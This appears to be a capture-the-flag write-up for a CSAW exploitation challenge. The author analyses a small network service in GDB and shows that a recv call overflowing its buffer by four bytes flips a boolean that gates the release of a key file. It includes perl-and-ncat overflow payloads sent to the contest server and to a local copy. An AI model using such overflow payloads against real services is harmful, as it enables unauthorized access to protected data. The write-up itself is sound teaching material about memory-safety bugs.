My previous experience with exploitation from the IO wargame on Smash the Stack led me to choose this challenge as my first target in the CSAW competition.

The challenge text is such:

nc 128.238.66.218 54321
Read the key out of ./key in the current working directory.

I/O Analysis

Okay, lets run the command and see what type response we get. Note: on my machine `nc’ is `ncat’ because I am using the version that comes with nmap:

$ ncat 128.238.66.218 54321
Wecome to my first CS project.
Please type your name:

I’ll take that misspelling as subtle humor. This seems pretty straight forward: we give the program a specially crafted input name and it gives us the key. Time to investigate the executable.

Binary Analysis: Preliminary

$ file exploitation1-release
exploitation1-release: ELF 32-bit LSB executable, Intel 80386 ...

Nothing too interesting there, but I’m happy to see it’s 32 bit (and therefore runnable on my system). Next I use the `strings’ command to extract all the referenced text strings from the program:

$ strings exploitation1-release
recv
strcmp
./key
AAAAAAAAAAAAAAAAAAAAAAAAAA

I’ve only included the most important entries. It looks like the binary is accessing the key file, so we probably don’t have to do it. The calls to recv and strcmp are important because that’s where our input will be processed. The last string seems to be a big hint as to what we should type in. First, lets create a test key file:

$ echo "ABCDEFG" > key

Okay, lets start up the server and test our find:

$ ./exploitation1-release

and on a different terminal:

$ echo `perl -e "print 'A'x26"` | ncat 127.0.0.1 54321
Wecome to my first CS project.
Please type your name: ABCDEFGAAAAAAAAAAAAAAAAAA

Wow. That was simple. Lets try it on the flag server:

$ echo `perl -e "print 'A'x26"` | ncat 128.238.66.218 54321
Wecome to my first CS project.
Please type your name:

Well no joy there. It looks like the server has a different passphrase than our client. Now we need to start to debug. Before we jump in to the debugger, I want to stress test the program a little. Lets do some tests:

$ echo `perl -e "print 'B'x511"` | ncat 127.0.0.1 54321
Wecome to my first CS project.
Please type your name:

$ echo `perl -e "print 'B'x512"` | ncat 127.0.0.1 54321
Wecome to my first CS project.
Please type your name: ABCDEFGBBB...BBB

$ echo `perl -e "print 'B'x2000"` | ncat 127.0.0.1 54321
Wecome to my first CS project.
Please type your name: ABCDEFGBBB...BBB
Ncat: Connection reset by peer.

That misspelled welcome is starting to annoy me. So we sent 511 B’s and nothing happened. 512, on the other hand yielded us the key and 2000 was not completely read by the program, causing an improper disconnect. At this point we could call it a day and move on, but I want to know why this worked.

Binary Analysis: GDB

Lets debug the server:

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048a56 <+0>:    push   ebp
...
0x08048b01 <+171>:    call   0x80487e0 <socket@plt>
...
0x08048bc9 <+371>:    call   0x80487c0 <listen@plt>
...
0x08048c70 <+538>:    call   0x8048700 <accept@plt>
...
0x08048ccb <+629>:    call   0x80486a0 <printf@plt>
0x08048cd0 <+634>:    call   0x8048790 <fork@plt>
0x08048cd5 <+639>:    mov    DWORD PTR [esp+0xf4],eax
0x08048cdc <+646>:    cmp    DWORD PTR [esp+0xf4],0x0
0x08048ce4 <+654>:    jne    0x8048d8a <main+820>
...
0x08048d74 <+798>:    mov    eax,DWORD PTR [esp+0xf8]
0x08048d7b <+805>:    mov    DWORD PTR [esp],eax
0x08048d7e <+808>:    call   0x804891d <handle>
0x08048dbf <+873>:    ret
End of assembler dump.

The server’s main function creates a listening socket and forks a new process when a connection is received. Handle is called for further processing on the new connection. Lets disassemble in chunks:

Allocates stack space for a buffer and a sets a boolean variable to false.

(gdb) disas handle
0x0804891d <+0>:    push   ebp
0x0804891e <+1>:    mov    ebp,esp
0x08048920 <+3>:    push   edi
0x08048921 <+4>:    push   ebx
0x08048922 <+5>:    sub    esp,0x220
0x08048928 <+11>:    mov    DWORD PTR [ebp-0xc],0x0

Sends the user the input prompt and receives the response.

0x08048965 <+72>:    call   0x8048830 <send@plt>
0x0804896a <+77>:    mov    DWORD PTR [esp+0xc],0x0
0x08048972 <+85>:    mov    DWORD PTR [esp+0x8],0x204
0x0804897a <+93>:    lea    eax,[ebp-0x20c]
0x08048980 <+99>:    mov    DWORD PTR [esp+0x4],eax
0x08048984 <+103>:    mov    eax,DWORD PTR [ebp+0x8]
0x08048987 <+106>:    mov    DWORD PTR [esp],eax
0x0804898a <+109>:    call   0x8048810 <recv@plt>

NULL terminates the end of the buffer and compares it to the passphrase.

0x0804898f <+114>:    mov    BYTE PTR [ebp-0xd],0x0
0x08048993 <+118>:    mov    DWORD PTR [esp+0x4],0x804b078
0x0804899b <+126>:    lea    eax,[ebp-0x20c]
0x080489a1 <+132>:    mov    DWORD PTR [esp],eax
0x080489a4 <+135>:    call   0x8048690 <strcmp@plt>

Checks to see if strcmp returned 0. If it did, then do not jump and set the boolean variable to true. If the boolean is false, then jump to the end.

0x080489a9 <+140>:    test   eax,eax
0x080489ab <+142>:    jne    0x80489b4 <handle+151>
0x080489ad <+144>:    mov    DWORD PTR [ebp-0xc],0x1
0x080489b4 <+151>:    cmp    DWORD PTR [ebp-0xc],0x0
0x080489b8 <+155>:    je     0x8048a41 <handle+292> 

If the boolean was true, read in the key from “./key” and send it to the user.

0x080489cf <+178>:    call   0x8048780 <fopen@plt>
...
0x080489f4 <+215>:    call   0x80486b0 <__isoc99_fscanf@plt>
0x08048a1c <+255>:    mov    DWORD PTR [esp+0xc],0x0
0x08048a24 <+263>:    mov    DWORD PTR [esp+0x8],0x200
0x08048a2c <+271>:    lea    eax,[ebp-0x20c]
0x08048a32 <+277>:    mov    DWORD PTR [esp+0x4],eax
0x08048a36 <+281>:    mov    eax,DWORD PTR [ebp+0x8]
0x08048a39 <+284>:    mov    DWORD PTR [esp],eax
0x08048a3c <+287>:    call   0x8048830 <send@plt>
...
0x08048a55 <+312>:    ret

The vulnerable code is at <+109>. The recv call reads in 4 more bytes than the buffer was allocated for, therefore overwriting the boolean (ebp-0xc) determining if the passphrase was correct. Lets see this in action:

(gdb) b *0x080489b4
Breakpoint 1 at 0x80489b4: file exploitation1-release.c, line 34.
(gdb) set follow-fork-mode child
(gdb) run
...
$ echo `perl -e "print 'A'x516"` | ncat 127.0.0.1 54321
...
(gdb) x/x $ebp-0xc
0xbfffed4c:    0x41414141

The 4 extra A’s have now overwritten $ebp-0xc.

$ echo `perl -e "print 'A'x511"` | ncat 127.0.0.1 54321
..
(gdb) x/2x $ebp-0x10
0xbfffed48:    0x00414141    0x00000000

Nothing happens. The program is safe.

$ echo `perl -e "print 'A'x512"` | ncat 127.0.0.1 54321
...
(gdb) x/2x $ebp-0x10
0xbfffed48:    0x00414141    0x0000000a

On 512 A’s, the new line that was read in from recv changed the boolean to true, therefore giving us access to the key.